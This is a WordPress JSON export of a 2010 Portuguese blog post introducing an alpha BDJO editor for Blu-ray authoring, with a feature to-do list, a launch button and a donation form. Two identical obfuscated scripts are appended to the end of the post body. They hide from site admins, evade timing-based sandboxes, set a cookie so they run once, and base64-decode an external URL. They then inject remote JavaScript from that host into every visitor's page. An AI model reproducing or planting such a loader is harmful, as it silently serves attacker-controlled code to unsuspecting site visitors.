{"id":206,"date":"2010-09-09T12:16:52","date_gmt":"2010-09-09T15:16:52","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=206"},"modified":"2025-10-26T22:44:08","modified_gmt":"2025-10-27T01:44:08","slug":"editor-de-bdjo-para-autoracao-de-blu-ray","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/09\/editor-de-bdjo-para-autoracao-de-blu-ray\/","title":{"rendered":"Editor de BDJO para autora\u00e7\u00e3o de blu-ray"},"content":{"rendered":"<p style=\"text-align: justify;\">Ultimamente estou brincando um pouco com editora\u00e7\u00e3o de blu-ray, fiz alguma coisas bem bacanas, mas encontrei algumas pedras no caminho.<\/p>\n<p style=\"text-align: justify;\">As melhores aplica\u00e7\u00f5es s\u00e3o extramemente caras e apesar de serem f\u00e1ceis de se trabalhar, elas ocultam o que realmente geram. Os utilit\u00e1rios gratuitos como os do <a title=\"HD CookBook\" href=\"http:\/\/hdcookbook.com\/\" target=\"_blank\" rel=\"noopener\">HD Cookbook<\/a> s\u00e3o via linha de comando e complicados de se trabalhar. Enfrentando essas dificuldades, resolvi criar algumas aplica\u00e7\u00f5es para me ajudar a verificar o que as aplica\u00e7\u00f5es propriet\u00e1rias geram e facilitar a autora\u00e7\u00e3o de blu-ray de n\u00edvel profissional sem a necessidade de desembolsar dinheiro.<\/p>\n<p style=\"text-align: justify;\">Em um <a title=\"Passos iniciais blu-ray\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2010\/07\/13\/passos-iniciais-em-java-para-blu-ray\/\" target=\"_blank\" rel=\"noopener\">outro post<\/a> (<a title=\"Passos iniciais blu-ray\" href=\"http:\/\/blog.globalcode.com.br\/2010\/07\/passos-iniciais-em-java-para-blu-ray.html\" target=\"_blank\" rel=\"noopener\">no Globalcoders tamb\u00e9m<\/a>) eu expliquei como criar seu primeiro aplicativo pra Blu-ray utilizando o JMESDK 3.0. Ao executar os procedimentos, \u00e9 gerado na pasta build\/deploy\/BDMV\/BDJO do seu projeto um arquivo 00000.bdjo. Esse arquivo \u00e9 o <em>Blu-ray<\/em> Disc\u2122 Java  Object. Dentro dele tem informa\u00e7\u00f5es de como executar sua aplica\u00e7\u00e3o Java, configura\u00e7\u00f5es de acesso \u00e0 playlists, identificadores, classe inicial, visibilidade entre outros. Infelizmente, n\u00e3o h\u00e1 como edit\u00e1-lo pela IDE.<\/p>\n<p style=\"text-align: justify;\">Para podermos editar esse arquivo de maneira gr\u00e1fica resolvi criar um editor, ainda est\u00e1 na vers\u00e3o alpha, portanto, utilize por conta e risco :). Pretendo criar outros editores em breve...<\/p>\n<p style=\"text-align: justify;\">Esse editor j\u00e1 cria, abre, edita (com exce\u00e7\u00e3o das apps) e exporta para os formatos BDJO, JavaFX e XML baseado em c\u00f3digos do HDCookbook. O que falta ainda na aplica\u00e7\u00e3o:<\/p>\n<ul>\n<li>Corre\u00e7\u00e3o de bugs cr\u00edticos<\/li>\n<li>Edi\u00e7\u00e3o das aplica\u00e7\u00f5es associadas ao BDJO. Por enquanto s\u00f3 insere e remove.<\/li>\n<li>Internacionaliza\u00e7\u00e3o<\/li>\n<li>Testes<\/li>\n<li>Melhorar o c\u00f3digo<\/li>\n<li>Valida\u00e7\u00e3o dos campos, incluindo tamanho<\/li>\n<li>Melhorar a interface gr\u00e1fica<\/li>\n<li>Colocar combo de sele\u00e7\u00e3o de idiomas ao inv\u00e9s de campo de texto<\/li>\n<li>Ajuda e documenta\u00e7\u00e3o<\/li>\n<li>Melhorar descri\u00e7\u00e3o dos campos<\/li>\n<li>Criar fun\u00e7\u00e3o \"Desfazer\"<\/li>\n<li>Carregar alguns valores padr\u00e3o<\/li>\n<li>Criar renderes personalizados para tabelas<\/li>\n<\/ul>\n<p>Clique para executar a aplica\u00e7\u00e3o:<\/p>\n<p style=\"text-align: center;\"><script src=\"http:\/\/java.com\/js\/deployJava.js\"><\/script> <script type=\"text\/javascript\">\/\/ <![CDATA[\n                    deployJava.createWebStartLaunchButton(\"http:\/\/www.thiagovespa.com.br\/apps\/BDJOEditor.jnlp\")\n\/\/ ]]><\/script><\/p>\n<p style=\"text-align: justify;\">Abaixo est\u00e1 o screenshot da aplica\u00e7\u00e3o pra quem n\u00e3o gosta de executar \ud83d\ude00<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_214\" aria-describedby=\"caption-attachment-214\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-BDJOEditor.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-214\" title=\"BDJO Editor\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-BDJOEditor-300x183.png\" alt=\"BDJO Editor\" width=\"300\" height=\"183\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-BDJOEditor-300x183.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-BDJOEditor-1024x625.png 1024w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-BDJOEditor.png 1086w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-214\" class=\"wp-caption-text\">BDJO Editor<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Se voc\u00ea gostou e deseja contribuir para a cria\u00e7\u00e3o dessas aplica\u00e7\u00f5es, me ajude efetuando uma doa\u00e7\u00e3o ou contribuindo de como voc\u00ea achar melhor.<\/p>\n<p><!-- INICIO FORMULARIO BOTAO PAGSEGURO --><\/p>\n<form style=\"text-align: center;\" action=\"https:\/\/pagseguro.uol.com.br\/checkout\/doacao.jhtml\" method=\"post\"> <input name=\"email_cobranca\" type=\"hidden\" value=\"thiago@thiagovespa.com.br\" \/> <input name=\"moeda\" type=\"hidden\" value=\"BRL\" \/> <input alt=\"Pague com PagSeguro - \u00e9 r\u00e1pido, gr\u00e1tis e seguro!\" name=\"submit\" src=\"https:\/\/p.simg.uol.com.br\/out\/pagseguro\/i\/botoes\/doacoes\/205x30-doar.gif\" type=\"image\" \/> <\/form>\n<p><!-- FINAL FORMULARIO BOTAO PAGSEGURO --><\/p>\n<p style=\"text-align: justify;\">Esse post encontra-se dispon\u00edvel tamb\u00e9m no <a title=\"Globalcoders\" href=\"http:\/\/blog.globalcode.com.br\/2010\/09\/editor-de-bdjo-para-autoracao-de-blu.html\" target=\"_blank\" rel=\"noopener\">Globalcoders<\/a>.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ultimamente estou brincando um pouco com editora\u00e7\u00e3o de blu-ray, fiz alguma coisas bem bacanas, mas encontrei algumas pedras no caminho. As melhores aplica\u00e7\u00f5es s\u00e3o extramemente caras e apesar de serem f\u00e1ceis de se trabalhar, elas ocultam o que realmente geram. <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/09\/editor-de-bdjo-para-autoracao-de-blu-ray\/\">Continue lendo  <span class=\"screen-reader-text\">  Editor de BDJO para autora\u00e7\u00e3o de blu-ray<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[34,3,5],"tags":[],"class_list":["post-206","post","type-post","status-publish","format-standard","hentry","category-blu-ray","category-java","category-jme"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/206","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=206"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/206\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=206"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=206"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=206"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}